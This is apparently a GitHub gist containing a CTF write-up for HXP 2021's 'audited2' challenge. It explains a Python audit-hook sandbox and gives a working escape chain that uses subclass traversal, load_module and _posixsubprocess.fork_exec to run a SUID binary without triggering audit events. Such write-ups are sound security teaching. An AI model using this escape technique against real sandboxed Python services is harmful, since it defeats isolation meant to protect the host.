Skip to content

Instantly share code, notes, and snippets.

@clubby789
Created December 20, 2021 01:49
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save clubby789/fb4efeb86be2045f82ba7eeb3a5ea370 to your computer and use it in GitHub Desktop.
Save clubby789/fb4efeb86be2045f82ba7eeb3a5ea370 to your computer and use it in GitHub Desktop.
HXP CTF 2021 - audited2 - unintended

Audited2

Challenge

The challenge begins by installing a Python audit hook written in C:

static int auditor_hook(const char *event, PyObject *Py_UNUSED(args), void *Py_UNUSED(user_data))
{
    if (!atomic_load(&auditor_may_exec) || atomic_flag_test_and_set(&auditor_did_exec) || strcmp(event, "exec"))
       auditor_exit(EXIT_FAILURE);
    return 0;
}

Essentially, this allows the 'exec' event to be run once. If it's run again, or any other audit events are raised, it will exit immediately using the exit() syscall, without running any exit handlers.

The challenge also clears sys.modules, although we still have access to builtins due to the misuse of exec.

Solution

The flag.txt file is not readable, so the goal is to run the SUID '/readflag' binary.

Immediately, it should be obvious that there are two major areas to investigate to solving.

  1. Escape from 'Python-land' - Perform some kind of exploit to give us native code execution. I quickly tried unsafe-python, but this turned out to use several unavailable imports, and actually raises some audit events. The intended solution here was apparently to use a Python bug and pwn the process - I guessed that this might be the case as the challenge was under "pwn", but, being familiar with Pyjail challenges, tried to find an in-Python method to do it.
  2. Find a non-audited way of executing a binary

After some research, I managed to land on _posixsubprocess.fork_exec (here). This is a function used in the implementation of the multiprocessing and subprocess modules.

I found that executing _posixsubprocess.fork_exec([b"/readflag"], [b"/readflag"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False, None, None, None, -1, None) would run the binary and get the flag. But how to get the modules - they've been cleared from the process?

Getting Imports

I quickly found that ().__class__.__base__.__subclasses__()[84].load_module is a function allowing imports of a small subset of the Python builtin modules. This includes sys, posix, time, _imp and so on. I also found that by modifying sys.builtin_module_names, I could import more modules, such as os and types - but not all!

At this point I got stuck, spending a lot of time trying to traverse from my modules to one importing _posixsubprocess. However, shortly after the competition I discovered: load_module is able to load _posixsubprocess in the Python version in the Docker, but not in my host's! With this, solving is easy:

# Make fake import function
import_ = ().__class__.__base__.__subclasses__()[84].load_module
# Load _ps
_posixsubprocess = import_("_posixsubprocess")
# subclasses[133] is an os module function, so we can reach os.pipe via its globals
pipe = ().__class__.__base__.__subclasses__()[133].__init__.__globals__['pipe']
# Get the flag
_posixsubprocess.fork_exec([b"/readflag"], [b"/readflag"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(pipe()), False, False, None, None, None, -1, None)

tl;dr Python is impossible to sandbox, and always use the provided Docker environment!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment